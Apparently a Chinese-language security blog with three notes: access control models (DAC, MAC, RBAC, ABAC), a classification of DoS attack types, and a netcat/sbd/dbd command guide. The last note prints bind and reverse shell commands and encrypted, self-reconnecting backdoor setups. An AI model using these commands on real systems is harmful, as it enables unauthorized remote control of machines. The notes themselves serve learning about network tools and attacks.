2022/11/21

Access Control Model

四種經典權限模型

自主權限控制 (DAC,Discretionary Access Control)

強制權限控制 (MAC,Mandatory Access Control)

角色權限控制 (RBAC,Role-based Access Control)

屬性權限控制 (ABAC,Attribute-based Access Control)

DAC

根據主體(如用戶、進程或 I/O 設備等)的身份和他所屬的群組,限制對客體的訪問。所謂的自主,是因為擁有訪問權限的主體,可以直接(或間接)地將訪問權限賦予其他主體(除非受到強制存取控制的限制)。

最常見的例子是 unix 檔案系統的權限,使用者可修改檔案的權限,賦予給其他使用者。

跟 DAC 相反的是 MAC。

MAC

MAC 可限制主體或發起者存取或對物件或目標執行某種操作的能力,常用在作業系統。

主體通常是一個行程或執行緒,物件可能是檔案、目錄、TCP/UDP埠、共享記憶體段、I/O裝置等。主體和物件各自具有一組安全屬性。每當主體嘗試存取物件時,都會由作業系統核心強制限制授權規則,逐一檢查安全屬性並決定是否可進行存取。

任何主體對任何物件的任何操作都將根據一組授權規則(也稱策略)進行測試,決定操作是否允許。在資料庫管理系統中也存在存取控制機制,也可以套用強制存取控制,物件為 table/view/procedure。

RBAC

一個用戶擁有若干角色,一個角色擁有若干權限。形成「用戶 - 角色 - 權限(系統資源)」 的授權模型。在這種模型中,用戶與角色之間,角色與權限(系統資源)之間,是多對多的關係。

RBAC 模型是目前最常用的權限模型,一般來說實作時就是在處理用户、角色、權限之間的關係。RBAC模型,其實可以看成是靜態的、單組屬性的ABAC模型。

ABAC

也稱為policy-based access control (PBAC) or claims-based access control (CBAC)

這是一種標籤的機制,在被存取的資源上,貼上標籤。再將標籤配置給 User 或是 Role,這樣可決定 User/Role 是否能存取該資源。

ABAC是個可以以最細顆粒度來管理權限的模型。它可以讓設計者,利用任何一個用户屬性、環境屬性,或者多個屬性之間的交集、並集等來組合出動態的權限判斷邏輯。

References

熟悉這四種權限管理模型,產品迭代才能心裏有數_人人都是產品經理 - MdEditor

用戶權限管理:最常用的架構模型介紹

強制存取控制 - 維基百科,自由的百科全書

自由選定存取控制 - 維基百科,自由的百科全書

以角色為基礎的存取控制 - 維基百科,自由的百科全書

Attribute-based access control - Wikipedia

透過 AWS Tags 實作 Attribute-Based Access Control (ABAC)

2022/11/07

DoS 類型

DoS: Denial-of-Service 阻斷服務攻擊,就是運用各種方法,讓主機無法正常提供服務。為了增加追蹤攻擊來源,以及解決攻擊的難度,目前的 DoS 都已經升級為 DDoS: Distributed DoS 分散式阻斷服務攻擊,就是同時使用多個被感染的電腦或設備,向目標系統進行 DoS 攻擊。

以攻擊方法分類

前三種會造成比較長時間的影響,其他的攻擊,一般來說可以很快恢復正常。

容量耗盡

傳送大量請求資料,讓 server 不斷地配置記憶體,當記憶體用完,就無法再處理新的連線。以沒有用的資料塞滿硬碟、 Buffer 也是類似的方法。

系統故障

某些系統在接收特定字串時,會造成緩衝區溢位而當機,需要重新開機才能恢復服務。這種攻擊比較少見。

帳號耗盡

線上直接猜帳號密碼,但現在很多系統會鎖定密碼猜錯的次數。因應這種機制,攻擊方刻意讓帳號被鎖定,導致合法的使用者無法登入系統。

頻寬耗盡

以大量沒有用的封包佔滿頻寬,讓需要正常服務的使用者,無法正常發送資料給 server,server 也無法將結果回傳給使用者

CPU耗盡

傳送需要大量運算的請求,讓 CPU Loading 增加,而無法處理正常的請求。

連線資源耗盡

某些服務有連線數量限制,同一時間內,只能提供有限數量的服務,只要有人佔住連線,沒有釋放給其他人使用,其他人就無法使用到服務。就像是訂票系統塞爆的狀況。

挾持網路

變更網路設定,造成封包傳遞異常。例如:ARP spoofing 欺騙、IP address spoofing IP位址欺騙、假冒 WiFi AP

以 OSI 分類

Layer 3

Smurf 攻擊、ICMP Flood、IP/ICMP Fragmentation Attack 碎片攻擊(Teardrop Attack)

Layer 4

TCP SYN Flood、UDP Flood、TCP 連線耗盡

Layer 7

HTTP 加密攻擊

References

DoS攻擊種類 - IT閱讀

Ddos攻擊方式分類

什麼是 DDoS 攻擊? | NordVPN

2022/10/31

nc, sbd, dbd

nc: NetCat

支援 TCP 與 UDP,可當作 server 或 client,也被稱為 TCP/IP swiss army knife。如果在某電腦執行 nc,就可以遠端遙控該電腦、讀取或下載檔案。

在 kali linux,這三個指令都是 nc

nc
nc.traditional
netcat

參數

  • -p port: 本地端 port number

  • -l: listen mode

  • -n: 使用 IP,不用 hostname

  • -t: telnet

  • -u: UDP mode

  • -v: verbose output,可重複兩次 -vv 有更詳細的 output

  • -w sec: 連線 timeout 秒數

  • -q sec: 收到 EOF 後,斷線秒數

  • -z: scan mode

port scan

# 測試 192.168.1.1 的 1~1024 port
nc -znvw2 192.168.1.1 1-1024

# 測試 UDP port
nc -uznvw2 192.168.1.1 1-1024

telnet

# 等同 telnet 192.168.1.1 80
nc -nvv 192.168.1.1 80

# 連線到 TCP 80 並發送 get-req.txt 文字內容# get-req.txt
tee get-req.txt << EOF
GET http://www.google.com/
Host: www.google.com
EOF
nc -vv www.google.com 80 < get-req.txt

# listen TCP port 80,收到連線就發送檔案內容
nc -l -p 80 < get-req.txt

# 簡易 IM,另一端可用 nc 或 telnet,連線後,可互相傳遞文字
nc -ltp 80
nc -vv localhost 80

remote sh

被控端先啟動待命,操控端連線過去

# listen TCP 8080,轉送到 bash
nc -lp 8080 -e /bin/bash
nc -vv localhost 8080

反向,操控端先啟動待命,等待被控端連線進去後,讓操控端操作

nc -lp 80

nc 192.168.1.1 80 -e cmd.exe

自動批次處理

將要執行的指令存到 cmd.txt,一次發送過去

nc -lp 80 < cmd.txt

file transfer

上傳檔案

# 先在接收方啟動 server端
nc -l -p 8080 > filename

# 再在傳送方啟動 client 端傳送資料
nc 192.168.1.157 8080 < filename

可相反下載檔案

# 先在傳送方啟動 server 端
nc -l -p 8080 < filename

# 再在接收方啟動 client 端
nc 192.168.1.1 8080 > filename

記錄

# 無窮迴圈,記錄連線 log,直到 Ctrl+C
while true; do nc -l -p 80 >> log.txt; done

sbd

是 Netcat-clone,增強加密的部分,支援 AES-CBC-128 + HMAC-SHA1,只支援 TCP

remote sh

# 被控端
sbd -l -p 8080 -e bash -v -n

# 遙控端,可執行 bash shell command,並取得 output 結果
sbd localhost 8080

加上 -k secret 密碼參數,作為加密的密碼

# 被控端
sbd -l -p 8080 -e bash -v -n -k test

# 遙控端,可執行 bash shell command,並取得 output 結果
sbd localhost 8080 -k test

dbd

Netcat-clone,增強加密的部分,支援 AES-CBC-128 + HMAC-SHA1,只支援 TCP。跟 sbd 類似

參數

  • -r n: 無限 respawn/reconnect,每次連線會暫停 n seconds。-r0 用在 re-listen after disconnect

  • -c on|off: 是否要使用內建的 AES-CBC-128 + HMAC-SHA1 加密

  • -k secret: 密碼

  • -H on|off: highlight incoming data

  • -D on|off: fork and run in background (daemonize)

dbd -l -p 8080 -v -H on

dbd -r 10 -v -H on -e bash localhost 8080

References

kali/03使用 sbd 及 dbd 创建系统安全后门.md at master · Yehnn/kali · GitHub

kali***測試(二)sbd,dbd和PowerSploit的介紹 - 台部落

kali sbd

kali dbd

kali netcat